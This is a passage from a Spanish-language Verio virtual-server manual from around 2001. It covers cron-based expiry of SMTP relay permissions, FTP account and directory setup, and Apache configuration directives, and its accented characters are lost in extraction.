Utilizando la tabla cron, puede implementar el vencimiento automtico de las direcciones. Experimentando, se puede llegar a una poltica til que equilibre los requisitos de la seguridad del sistema y la comodidad de los usuarios. En el Captulo 8 se ofrece una explicacin detallada del cron.

Captulo 4: Servicio Virtual de Correo Electrnico


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

93

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Implementacin de una poltica estricta de vencimiento de direcciones Desde la tabla cron, escriba:

*/15 * * * * /usr/local/bin/vsmtprelay expire 60


donde cada 15 minutos, todas las direcciones de ms de 60 minutos se eliminan de la base de datos. Nota: Este ejemplo da una ventana de 60 minutos para el permiso de retransmisin de SMTP (con una periodicidad de 15 minutos). Implementacin de una poltica flexible de vencimiento de direcciones Desde la tabla cron, escriba:

0 0 * * * /usr/local/bin/vsmtprelay expire
donde 0 0 significa que una vez por da, a la medianoche, la base de datos de direcciones se limpia por completo. Nota: Este ejemplo permite a los usuarios retransmitir el da completo (si verifican su correo desde esa direccin de IP por lo menos una vez durante el da).

Captulo 4: Servicio Virtual de Correo Electrnico


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

94

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Mantenimiento del archivo de registro de correo electrnico


Para ver cmo mantener el archivo de registro de correo electrnico, consulte la seccin Administracin de registros de servidor en el Captulo 8.

Captulo 4: Servicio Virtual de Correo Electrnico


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

95

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Informacin adicional
Si desea informacin adicional sobre los temas analizados en este captulo, consulte las siguientes pginas en el sitio web de viaVerio.

Informacin acerca del Servidor Virtual


http://www.viaverio.com/support/

Captulo 4: Servicio Virtual de Correo Electrnico


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

96

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Captulo 5: Servicio Virtual de FTP


La conexin a una computadora remota a travs de FTP (File Transfer Protocol) es similar a TELNET, excepto que interviene FTP: No estn disponibles todas las herramientas. El acceso a los archivos es limitado. Las posibilidades de navegacin son limitadas.

Se puede usar FTP para transferir archivos de cualquier tipo entre computadoras que ejecuten distintos sistemas operativos. Por ejemplo, puede transferir archivos entre un servidor UNIX y una PC Windows (con un programa FTP). El FTP es popular en todo el mundo porque existen disponibilidad de programas para todas las plataformas. Este captulo trata los siguientes temas: Nombre de su servicio virtual de FTP. Creacin de directorios de acceso para clientes Informacin adicional

Captulo 5: Servicio Virtual de FTP


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

97

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Nombre de su servicio virtual de FTP


El nombre estndar de FTP suele ser ftp.su_empresa.com. Si su dominio se encuentra registrado, sus servicio virtual de FTP annimo se encuentran en ese formato estndar.

FTP annimo y no annimo


Su Servidor Virtual es compatible con el FTP annimo (que permite a los usuarios acceder a los archivos a travs de FTP sin ingresar nombre de usuario ni clave) y con el FTP no annimo (que requiere nombre de usuario y clave). Cuando se configura el FTP annimo, los usuarios simplemente ingresan annimo como su nombre de usuario y su direccin de correo electrnico como su clave. En otras palabras, con el FTP annimo, no hay que configurar cuentas FTP especficas para que los usuarios accedan a archivos en su Servidor Virtual a travs de FTP.

Su directorio de FTP annimo


El FTP annimo es la forma ms segura de otorgar a los usuarios acceso al servicio virtual de FTP, porque los usuarios estn restringidos a su directorio raz FTP. Al restringir el acceso y los permisos de los usuarios, se limita el dao potencial que pueden ocasionar los usuarios. El directorio de FTP es su directorio raz y, segn se predetermin, contiene slo el subdirectorio pub. El directorio pub contiene los archivos disponibles para los clientes de FTP annimo. Debe colocar en el directorio pub los archivos a los que los clientes necesitan acceder. Adems se puede de crear otros directorios si lo considera necesario.

Captulo 5: Servicio Virtual de FTP


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

98

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Creacin de directorios de acceso para clientes


Es posible que, alguna vez, sus usuarios tengan que subir archivos a su servidor FTP. Si usted permite subir va FTP, debe restringir esos archivos al directorio incoming (entrante) o de acceso para clientes. Nota: Si usted no permite la subida de archivos, no es necesario crear un directorio entrante. Solo conceda a sus usuarios permisos de escritura solamente en el directorio entrante. De esa manera, al no conceder a los usuarios permisos de lectura ni ejecucin, se evita que cambien o borren los archivos subidos por otras personas. Si los usuarios poseen permisos de lectura en el directorio entrante, podran subir archivos potencialmente comprometedores o ilegales donde otros usuarios podran tener acceso. Cmo crear un directorio incoming 1. 2. Desde su directorio ftp/pub, cree un directorio denominado incoming:

% mkdir ftp/pub/incoming
En el directorio ftp/pub/incoming, cree un archivo denominado .incoming (no olvide el ".").

El archivo .incoming seala que el directorio es slo de escritura.

Creacin de banners de ingreso y mensajes de directorio


Algunos servidores FTP exhiben mensajes inmediatamente despus de que el usuario se haya conectado. Esos mensajes brindan al usuario informacin til sobre el sitio al que estn accediendo y se denominan banners de ingreso. Los mensajes de directorio se comportan de la misma manera. Cuando un usuario accede a un directorio en particular, se exhibe un mensaje. El mensaje suele contener informacin acerca de lo que se encuentra en el directorio, adems de precauciones respecto de los archivos del sistema. Cmo crear un banner de ingreso 1. 2. En su directorio ~/ftp/pub, cree un archivo denominado .welcome. En el archivo .welcome, ingrese el texto que desea que vea el usuario.

A continuacin, se incluye un ejemplo de banner de ingreso que puede encontrarse en un servidor FTP.

Bienvenido al Servidor FTP de Su Empresa! Las consultas e informes sobre este servidor deben dirigirse a ftp@su_empresa.com.
Cmo crear un mensaje de directorio Cree un archivo denominado .message en el directorio donde desea que aparezca el mensaje. El mensaje de texto que cree en el archivo .message aparece cuando el usuario accede a ese directorio.

Captulo 5: Servicio Virtual de FTP


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

99

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Por ejemplo, usted puede promover una versin de demostracin del software de su empresa en el directorio DEMO con un archivo .message que contenga el texto siguiente:

Este directorio tiene varias demo de los productos de Su Empresa: testeo.zip - Versin 1.0 (DEMO) prueba.zip Versin 2.1 (DEMO)

Creacin de cuentas FTP no annimas


Si configura su Servidor Virtual para manejar cuentas FTP no annimas, puede agregar con facilidad cuentas FTP para algunos usuarios. El agregado de cuentas FTP le permite controlar quin sube o baja lo siguiente: Contenido de la Web. Archivos del rea de FTP annimo. Archivos de directorios privados.

Nota: La mayora de los clientes utilizan FTP no annimo en sus Servidores Virtuales. Los clientes entonces pueden revender espacio de servidor a otros clientes, lo cual les permite mantener sus propias pginas de inicio. Adems, las empresas que desean restringir las bajadas de informacin valiosa pueden emplear FTP annimo restringido mediante clave. El procedimiento para agregar cuentas FTP no annimas es similar al procedimiento para agregar cuentas de correo POP. Al crear la cuenta FTP, el servidor crea en forma automtica una cuenta POP de correo electrnico para el usuario. Si no desea que el usuario acceda al correo electrnico de su servidor, no le informe acerca de la cuenta de correo electrnico. Cmo agregar cuentas FTP no annimo
1.

Va Telnet y desde la lnea de comandos, escriba vadduser. Esta accin muestra una serie de campos a completar comenzando con el siguiente ejemplo de comando:

% vadduser Por favor responda las preguntas a continuacin. Cuando este disponible una respuesta predeterminada, sta aparecer entre corchetes a continuacin de la pregunta. Por ejemplo, la pregunta: Cul es su color favorito? [azul]: tiene la respuesta predeterminada azul. Simplemente acptela (sin tener que escribir) presionando la tecla Enter, o escriba su respuesta y luego presione <Enter>. Use la tecla <Backspace> para borrar y corregir errores en las respuestas, antes de presionar <Enter>. En general, una vez que se presiona <Enter> se pasa a la siguiente pregunta. Una vez que respondi todas las preguntas, tendr la
Captulo 5: Servicio Virtual de FTP
COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

100

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

posibilidad de modificar sus opciones antes de que se actualicen los archivos. Presione <Enter> para continuar:
2. 3. 4. 5. 6. Escriba el nombre de usuario. Use un mximo de hasta 8 caracteres, sin utilizar . ni :. Escriba la clave del usuario de correo electrnico o de FTP. Vuelva a escribir la nueva clave. Escriba el nombre completo del usuario y despus presione Enter. Use 80 caracteres como mximo, sin utilizar . ni :. Seleccione los servicios que la cuenta requiera. Las opciones predeterminadas son ambas: FTP y correo electrnico. O escriba el nombre del servicio (FTP o correo electrnico) que desee deseleccionar para la cuenta. o o FTP (File Transfer Protocol) para subir y/o bajar archivos Servicios de correo electrnico que incluyen POP, IMAP y SMTP

Nota: Si a la cuenta del usuario se accediera Va IMAP, esta debe estar habilitada con el servicio de FTP. 7. 8. 9. Ingrese una respuesta afirmativa o negativa a la pregunta Quiere asignarle un Lmite de espacio determinado a la cuenta? (quotas) Ingrese la cantidad de MB para esta cuenta (ingrese 0 es sin lmite). Ingrese una respuesta numrica a la siguiente pregunta: Dnde quiere colocar el directorio raz del usuario? Puede colocarlo en una de las cuatro opciones que se le presentan o bien en la ubicacin que desee. La siguiente tabla describe brevemente cada ubicacin. Ejemplo /usr/home/nombreusuario /usr/local/etc/httpd/htdocs/nom breusuario /usr/local/etc/httpd/htdocs/vho sts/nombreusuario /ftp/pub/ nombreusuario /usr/local/etc/httpd/htdocs/vho sts/algn_directorio/ nombreusuario

Descripcin Directorio raz para una cuenta de correo electrnico Directorio de la cuenta alojada en el web principal Directorio de la cuenta alojada de forma virtual Directorio raz para FTP annimo Otra ubicacin que usted elija

o o o

Ingrese "1" si la opcin elegida es un directorio raz para una cuenta de correo electrnico. Ingrese "2" si la opcin elegida es un directorio de cuenta alojada en el web principal. Ingrese "3" si la opcin elegida es una cuenta alojada de forma virtual. Recomendamos usar esta opcin por dos motivos. El primero es que FrontPage 2000 as lo exige. El segundo es que el directorio vhosts es una ubicacin ordenada donde pueden residir cada uno de sus directorios de usuarios subalojados. Cada uno est bien separado, se distingue de los dems y es seguro. Ingrese "4" si la opcin elegida es un directorio raz para FTP annimo. Ingrese la ruta que desee.

o o

Captulo 5: Servicio Virtual de FTP


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

101

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Nota: La ejecucin del script vadduser es directa, con una excepcin: los servicios de cuenta (FTP y correo electrnico). Estos servicios se agregan a la cuenta de cada usuario en forma predeterminada. Si usted quiere que el usuario tenga privilegios tanto de FTP como de correo electrnico, presione Enter cuando se le pide aceptar las configuraciones predeterminadas. Para que el usuario tenga slo privilegios FTP, deseleccione los privilegios de correo electrnico ingresando mail. Para que el usuario tenga slo privilegios de correo, deseleccione los privilegios FTP ingresando ftp. Si necesita agregar un servicio que no figura en la lista entre corchetes ([ ]), escriba el servicio (correo electrnico o FTP) y presione Enter. Por ejemplo, si Mara Prez tiene el nombre de cuenta mara y el nombre de dominio asociado a su Servidor Virtual es su_empresa.com, entonces la direccin de correo electrnico de Mara ser: maria@su_empresa.com. Nota: (quota) El Lmite de espacio Va FTP determina lo que puede consumir todo el rbol del directorio raz de un usuario y sus archivos. Este lmite es solamente es eficaz cuando se usa el FTP para subir los archivos. El Lmite del correo determina el espacio que puede consumir el archivo de correo de un usuario bajo ~/usr/mail. Cada uno se expresa como un entero decimal de megabytes (MB) de espacio en disco.

Opciones del directorio raz de usuarios


Usted cuenta con varias opciones para configurar el directorio raz de usuarios. Cada una de esas opciones le permite controlar la forma en que el usuario accede al Servidor Virtual. La primera opcin le permite crear el directorio raz bajo su directorio /usr/home. Esa opcin es la ms indicada para los usuarios que no poseen requerimientos especiales de uso. Si el directorio se llamara test, se creara en /usr/home/test. Ese sera un lugar ideal para que usted creara un directorio FTP para permitir a los usuarios subir informacin a su servidor. Desde el directorio test, su administrador del sistema entonces podra verificar y colocar el/los archivo/s en la estructura de directorio correspondiente. La segunda opcin le permite crear el directorio raz bajo su directorio /usr/local/etc/httpd/htdocs. Si el directorio se llamara test, se creara en /usr/local/etc/httpd/htdocs/test. Esa opcin es la ms indicada para los usuarios que suben sus propias pginas web. Los usuarios tendran acceso FTP al directorio y los subdirectorios test creados por ellos. Sin embargo, los usuarios no podran acceder a nada por encima del directorio test. Las pginas de inicio de los usuarios estaran ubicadas en http://www.su_empresa.com/test. La tercera opcin le permite crear el directorio en el directorio vhosts (/usr/local/etc/httpd/vhosts/nombreusuario), que se utiliza para almacenar archivos para cualquier subhost virtual que haya creado. Esa opcin permitira a los usuarios tener acceso a los archivos alojados en forma virtual pero no a los archivos alojados en forma virtual de otro usuario. Si posee subhosts virtuales en su Servidor Virtual, o si prev tenerlos, recomendamos esta opcin. La cuarta opcin permite al usuario subir archivos a su directorio FTP annimo. El directorio creado para la prueba de usuario sera /ftp/pub/test. Los archivos de ese directorio slo podran agregarse y borrarse mediante el test de usuario, pero cualquiera tendra acceso para bajar esos archivos. Se puede limitar la cantidad de espacio en disco de su Servidor Virtual que puede usar uno de sus usuarios. Si el usuario trata de subir ms datos de lo que permite su capacidad restante, recibe un mensaje de error.

Captulo 5: Servicio Virtual de FTP


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

102

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Monitoreo de la actividad del FTP annimo


El archivo messages ubicado en su directorio var/logs contiene informacin valiosa que describe la frecuencia con la que se utiliza su servidor FTP annimo. Sin embargo, dicha informacin no es muy fcil de leer. Puede utilizar el programa Xferstats para resumir la actividad del FTP annimo. Xferstats puede ejecutarse de manera peridica mediante el utilitario CRON. Cmo utilizar xferstats para monitorear la actividad del FTP 1. Cree un archivo denominado cfile con la siguiente informacin:

# cron tab file (see crontab(5)) # Every Sunday morning at 2:13am process FTP xferstats and "nuke" message file 13 2 * * sun /usr/local/bin/xferstats -m usuario@su_empresa.com -n
2. Ejecute crontab para instalar el archivo cron (cfile) que acaba de crear:

% crontab cfile
Para obtener mayor informacin sobre cron, ingrese man crontab y man 5 crontab en la lnea de comando de su Servidor Virtual o consulte la seccin sobre cron en el Captulo 8.

Ejemplo de resultado provisto por xferstats


TOTALS FOR SUMMARY PERIOD Aug 16 TO Aug 17 Files Transmitted During Summary Period Bytes Transmitted During Summary Period Systems Using Archives Average Files Transmitted Daily Average Bytes Transmitted Daily Daily Transmission Statistics Number Of Number of Average Percent Of Date Files Sent Bytes Sent Xmit Rate Files Sent Bytes Sent Aug 16 Aug 17 Archive Section Bytes Sent /pub Number Of 2 1 508 508.0 KB/s 254 0.3 KB/s 66.67 33.33 66.67 33.33 0 2 381 3 762

Total Transfers from each Archive Section (By bytes) Files Sent Bytes Sent Files Sent 3 Number of 762 Average 100.00 100.00

Hourly Transmission Statistics Percent Of Time Files Sent Bytes Sent Xmit Rate Files Sent Bytes Sent --------------- ---------- ----------03 05 1 2 254 0.3 KB/s 33.33 66.67 33.33 66.67 508 508.0 KB/s

Captulo 5: Servicio Virtual de FTP


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

103

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Informacin adicional
Si desea mayor informacin acerca de los temas tratados en este captulo, consulte la siguiente pgina del sitio web de viaVerio.

Informacin sobre el Servidor Virtual


http://www.viaverio.com/support/

Captulo 5: Servicio Virtual de FTP


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

104

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Captulo 6: Configuracin Avanzada del Servidor Web


Este captulo cubre los siguientes temas: Mantenimiento de los archivos de configuracin del servidor web Utilizacin de mdulos en Apache Nociones del formato de registro Manejo de contenido web en varios idiomas Imagemaps Autenticacin de usuarios Server Side Includes (SSI) Servidor seguro (SSL e ID de servidor seguro) Informacin adicional

Captulo 6: Configuracin Avanzada del Servidor Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

105

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Mantenimiento de los archivos de configuracin del servidor web


El comportamiento del servicio virtual de web es controlado, personalizado y definido por un conjunto clave de archivos de configuracin, que incluye el archivo de configuracin principal del servidor web (httpd.conf) y el archivo de definiciones de tipos MIME (mime.types). Cada archivo de configuracin est ubicado en el directorio www/conf e incluye valores predeterminados que son aceptables para la mayora de las circunstancias y necesidades. Sin embargo, si desea personalizar el comportamiento de su servicio web virtual, consulte la descripcin de muchas (aunque no todas) las variables de archivos de configuracin que figuran a continuacin. Nota: Su servidor virtual viene con archivos de configuracin web predeterminados que son aceptables para la mayora de los usuarios. La documentacin completa de las variables de configuracin se encuentra en el sitio web Apache: http://www.apache.org/docs/mod/directives.html

Directivas Apache
Hay algunos puntos bsicos que es preciso saber para usar las directivas Apache. En primer lugar, hay directivas que son entradas de una sola lnea. Por ejemplo:

ServerName su_empresa.com
Y hay bloques de directivas que tienen una lnea de inicio y una de fin, y que agrupan un conjunto de directivas. Por ejemplo:

<VirtualHost abc.com> ServerName www.abc.com ServerAdmin webmaster@abc.com DocumentRoot /usr/local/etc/httpd/htdocs/abc </VirtualHost>


Los bloques de directivas se encierran entre los smbolos de mayor y menor ("< >") y siempre tienen una directiva de inicio y una de fin. La directiva de fin contiene una barra inclinada ("/").

Directivas de operacin del servidor Directiva LoadModule


La directiva LoadModule instruye al servidor Apache para que cargue libreras de objetos compartidos al arrancar. Esta debe ser la primera directiva en el archivo de configuracin, para que el mdulo est disponible antes de que el servidor web lo use. Ejemplo:

LoadModule prueba_module modules/mod_prueba.so


Los mdulos Apache se detallan en la seccin mdulos de este captulo.

Captulo 6: Configuracin Avanzada del Servidor Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

106

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Directiva HostnameLookups
El servidor web Apache est preconfigurado para mantener un registro de los clientes que accedieron a los recursos de su sitio web. El registro incluye el nombre de host (Ej: algo.su_empresa.com) o slo la direccin IP (por ejemplo, 32.64.128.16). Para mejorar el desempeo del servidor, la configuracin predeterminada es desactivado. En el proceso de respuesta del servidor se introduce una latencia adicional cuando el servidor web debe realizar una bsqueda del nombre de host, que traduce las direcciones de IP a nombres de dominio. Incluso los sitios con cargas moderadas deberan dejar desactivada esta directiva, debido a que las bsquedas de nombre de host pueden llevar mucho tiempo. Nota: Use una herramienta de anlisis de registro como WebTrends para buscar los nombres de host para direcciones IP fuera de lnea. Esta es una forma mucho ms eficiente de traducir las direcciones IP a nombres de dominio. Ejemplo:

HostnameLookups off
Si desea informacin adicional, consulte: http://www.apache.org/docs/mod/core.html#hostnamelookups

Directiva ServerAdmin
La directiva ServerAdmin define la direccin de correo electrnico que el servidor incluye en los mensajes de error que enva a la computadora local. Ejemplo:

ServerAdmin webmaster@suempresa.com
Si desea informacin adicional, consulte: http://www.apache.org/docs/mod/core.html#serveradmin

Directiva ServerRoot
La directiva ServerRoot define el directorio donde reside el servidor. El directorio predeterminado es /usr/local/etc/httpd, porque es el que contiene los subdirectorios conf y logs. Las rutas relativas para otros archivos de configuracin se definen con respecto al directorio ServerRoot. Ejemplo:

ServerRoot /usr/local/etc/httpd
Si desea informacin adicional, consulte: http://www.apache.org/docs/mod/core.html#serverroot

Captulo 6: Configuracin Avanzada del Servidor Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

107

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Directiva ErrorLog
Al encontrar un error, el servidor usa la definicin especificada en la directiva ErrorLog para manejarlo. En general, se especifica un nombre de archivo al cual el servidor web anexa la informacin de error. Si la definicin de nombre de archivo no comienza con una barra inclinada ("/"), se supone que es relativa al ServerRoot. Si el nombre de archivo comienza con una barra vertical ("|"), se supone que es un comando que va a ser generado por el servidor web para manejar la informacin de error. Ejemplo:

ErrorLog logs/error_log
Si desea informacin adicional, consulte: http://www.apache.org/docs/mod/core.html#errorlog

Directiva LogFormat
La directiva LogFormat fija el formato del archivo de registro predeterminado nombrado por la directiva TransferLog. Esta directiva tambin sirve para definir tipos de archivos de formato de registro personalizados. Cada tipo de formato de registro es definido por una declaracin de formato encerrada entre comillas seguida de un identificador optativo o sobrenombre. A continuacin se muestran algunos ejemplos de directivas LogFormat. (Si desea informacin adicional sobre cmo usar los formatos de registro eficazmente, consulte la seccin Mantenimiento de registros del servidor del Captulo 8.) La declaracin del formato para cada directiva LogFormat puede contener caracteres literales copiados a los archivos de registro y directivas % que se reemplazan en el archivo de registro. A continuacin figura una muestra de algunas de las directivas %. (La lista completa se publica en el sitio web de Apache.)

%b: bytes enviados, excluyendo encabezados HTTP %f: nombre de archivo %h: host remoto %r: primera lnea de solicitud %s: estado. Para las solicitudes redirigidas internamente, es el estado de la solicitud *original* --- %>s para la ltima %t: tiempo, en el formato de registro comn %u: usuario remoto
Ejemplos:

Logformat "declaracion del formato" identificador LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referrer}i\" \"{User-Agent}i\"" combined LogFormat "%h %l %u %t \"%r\" %>s %b" common LogFormat "%{Referrer}i -> %U" referrer LogFormat "%{User-Agent}I" agent
Si desea informacin adicional, consulte: http://www.apache.org/docs/mod/mod_log_config.html#logformat

Captulo 6: Configuracin Avanzada del Servidor Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

108

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

http://www.apache.org/docs/mod/mod_log_config.html#formats

Directiva TransferLog
La directiva TransferLog se usa para identificar la ubicacin de un archivo que contendr un registro de todas las solicitudes al servidor. Si usa la directiva CustomLog para identificar el formato de los archivos de registro, el formato del archivo TransferLog ser definido por la directiva LogFormat ms reciente (o el Formato de Registro Combinado, si no se especific ningn otro formato predeterminado). Si quiere que las entradas en el registro de transferencia se formateen con el Formato de Registro Comn, deber crear una definicin LogFormat personalizada. Tambin puede procesar las entradas de Registro de Transferencia con una aplicacin externa definiendo su TransferLog con una barra vertical ("|"). A continuacin se incluye un ejemplo. (Si desea informacin adicional, consulte la seccin Mantenimiento de registros del servidor del Captulo 8). Ejemplo:

TransferLog logs/access_log
O:

TransferLog "|rotatelogs /www/logs/access_log 86400"


Si desea informacin adicional, consulte: http://www.apache.org/docs/mod/mod_log_config.html#transferlog http://www.apache.org/docs/mod/mod_log_config.html#customlog

Directiva RefererLog
La directiva RefererLog se usa para identificar la ubicacin de un archivo que contendr un registro de toda la informacin de referencias (informacin sobre sitios web que contienen vnculos y refieren o derivan usuarios a su sitio web). El servidor est preconfigurado en el formato de registro combinado. Como tal, la informacin de referencias se incluye en access_log. Si desea un registro separado para este tipo de informacin, vea Cambio de LogFormat ms abajo. Ejemplo:

RefererLog logs/referer_log
Si desea informacin adicional, consulte: http://www.apache.org/docs/mod/mod_log_referer.html#refererlog

Directiva AgentLog
La directiva AgentLog se usa para identificar la ubicacin de un archivo que contiene un registro de toda la informacin de agente de navegador. El servidor est preconfigurado en el formato de registro combinado. Como tal, la informacin se incluye en access_log. Si desea un registro separado para este tipo de informacin, vea Cambio de LogFormat ms abajo. Ejemplo:

AgentLog logs/agent_log
Si desea informacin adicional, consulte: http://www.apache.org/docs/mod/mod_log_agent.html#agentlog

Captulo 6: Configuracin Avanzada del Servidor Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

109

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Cambio de LogFormat
Si desea cambiar el formato del archivo de registro del servidor web por el formato de registro comn (archivos de registro distintos para los datos de acceso, agente y referencias), debe modificar el archivo de configuracin del servidor (~/www/conf/httpd.conf) de la siguiente manera:

# formato de registro comn (common) LogFormat "%h %l %u %t \"%r\" %>s %b" # formato de registro combinado (combined) #LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referrer}i\" \"%{User-Agent}i\"" # Ubicacin del archivo de registro de acceso # Si no empieza con /, se le antepone ServerRoot. TransferLog logs/access_log # # # # Si quiere tener archivos de registro distintos para el agente y las referencias, elimine el smbolo de comentario en las siguientes directivas:

ReferrerLog logs/referrer_log AgentLog logs/agent_log


Tambin puede definir su propio formato de registro modificando la directiva LogFormat. Despus de hacer los cambios, reinicie el servidor web.

Directiva ServerName
La directiva ServerName fija el nombre de host del servidor web. Ejemplo:

ServerName algun.nombre_de.dominio
Si desea informacin adicional, consulte: http://www.apache.org/docs/mod/core.html#servername

Directiva KeepAlive
La extensin KeepAlive a HTTP, tal como la define el documento HTTP/1.1, habilita las conexiones persistentes. Estas sesiones HTTP de larga duracin permiten enviar mltiples solicitudes por la misma conexin TCP y en algunos casos se demostr que aceleran casi un 50% los tiempos de latencia para documentos HTML con mltiples imgenes. La directiva KeepAlive activa o desactiva el soporte KeepAlive. Especifique "on" para activar las conexiones persistentes y "off" para desactivarlas. El mximo de solicitudes que se desea que el servidor web soporte por conexin se define en la directiva MaxKeepAliveRequests.

Captulo 6: Configuracin Avanzada del Servidor Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

110

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Ejemplo:

KeepAlive on
Si desea informacin adicional, consulte: http://www.apache.org/docs/mod/core.html#keepalive http://www.apache.org/docs/keepalive.html

Directiva MaxKeepAliveRequests
La directiva MaxKeepAliveRequests limita la cantidad de solicitudes permitidas por conexin cuando KeepAlive est activado. Si se especifica en 0, las solicitudes permitidas sern ilimitadas. Se recomienda especificar un valor alto para maximizar el desempeo del servidor. Ejemplo:

MaxKeepAliveRequests 100
Si desea informacin adicional, consulte: http://www.apache.org/docs/mod/core.html#maxkeepaliverequests

Directiva KeepAliveTimeout
La directiva KeepAliveTimeout define cuntos segundos debe esperar el servidor web una solicitud antes de cerrar la conexin con el host remoto. Ejemplo:

KeepAliveTimeout 15
Si desea informacin adicional, consulte: http://www.apache.org/docs/mod/core.html#keepalivetimeout

Directiva MaxRequestsPerChild
La directiva MaxRequestsPerChild fija el lmite en la cantidad de solicitudes que cada proceso secundario de servidor puede manejar. Despus de la solicitud MaxRequestsPerChild, el proceso segundario muere. Si MaxRequestsPerChild es 0, el proceso nunca morir. Fijando un lmite distinto de cero para MaxRequestsPerChild se obtienen dos beneficios: 1. 2. Se limita la cantidad de memoria que un proceso puede consumir por una prdida de memoria (accidental) Contribuye a reducir la cantidad de procesos cuando la carga del servidor se reduce, dando a los procesos una determinada duracin.

Ejemplo:

MaxRequestsPerChild 0
Si desea informacin adicional, consulte: http://www.apache.org/docs/mod/core.html#maxrequestsperchild

Captulo 6: Configuracin Avanzada del Servidor Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

111

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Directiva VirtualHost
La directiva VirtualHost le permite configurar el servidor virtual para subalojar mltiples nombres de dominio. Ejemplo:

<VirtualHost nombre_de.dominio > ServerAdmin webmaster@nombre_de.dominio DocumentRoot /usr/local/etc/httpd/vhosts/subhost-dir ServerName nombre_de.dominio ErrorLog logs/subhost-error_log TransferLog logs/subhost-access_log </VirtualHost>
Si desea informacin adicional, consulte Comprendiendo el Alojamiento Virtual en el Captulo 3.

Directivas de recursos del servidor Directiva DocumentRoot


La directiva DocumentRoot establece el directorio desde el cual el servidor web sirve los archivos y donde debe residir el contenido web. Ejemplo:

DocumentRoot /usr/local/etc/httpd/htdocs
Si desea informacin adicional, consulte: http://www.apache.org/docs/mod/core.html#documentroot

Directiva DirectoryIndex
Cuando se recibe una solicitud URL que no identifica explcitamente un recurso por su nombre (por ejemplo: http://www.su_empresa.com), el servidor web tratar de recuperar los archivos definidos por la directiva DirectoryIndex. Pueden definirse varios archivos. El servidor web devolver el primero que encuentre. Ejemplo:

DirectoryIndex index.html index.htm


Una solicitud de http://www.su_empresa.com devolver http://www.su_empresa.com/index.html, si existe, luego http://www.su_empresa.com/index.htm, si existe, y as sucesivamente, hasta que se encuentre una correlacin. Si no se encuentra una correlacin, entonces se devuelve un ndice de los archivos contenidos en el directorio. Si desea informacin adicional, consulte: http://www.apache.org/docs/mod/mod_dir.html

Captulo 6: Configuracin Avanzada del Servidor Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

112

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Las Directivas FancyIndexing, IndexOptions, AddIcon e IndexIgnore


Como ya se mencion, la directiva DirectoryIndex identifica archivos especficos que deben buscarse cuando se recibe una solicitud URL que no identifica explcitamente un recurso. Si la bsqueda DirectoryIndex falla y la opcin Indexes est establecida para el directorio solicitado (vea la directiva httpd.conf <Directory>), se genera un ndice de archivos y se sirve al agente del cliente. Hay varias directivas que definen cmo se muestra ese ndice de archivos. Si desea informacin adicional, consulte: http://www.apache.org/docs/mod/mod_autoindex.html

Directiva AccessFileName
Al devolver un documento a un cliente, el servidor busca archivos de control de acceso en el directorio de recursos solicitado y en los que depende. La directiva AccessFileName establece el nombre del archivo que el servidor web buscar para encontrar las definiciones de control de acceso. Si desea ms informacin sobre los archivos de control de acceso, consulte la seccin Creacin de directorios protegidos por clave de este captulo. Ejemplo:

AccessFileName .htaccess
Si desea informacin adicional, consulte: http://www.apache.org/docs/mod/core.html#accessfilename

Directiva DefaultType
La directiva DefaultType define un tipo MIME para los recursos del servidor web que no se correlacionan con las extensiones de archivo encontradas en el archivo de configuracin de tipos MIME. Ejemplo:

DefaultType text/plain
Si desea informacin adicional, consulte: http://www.apache.org/docs/mod/core.html#defaulttype

Directiva AddLanguage
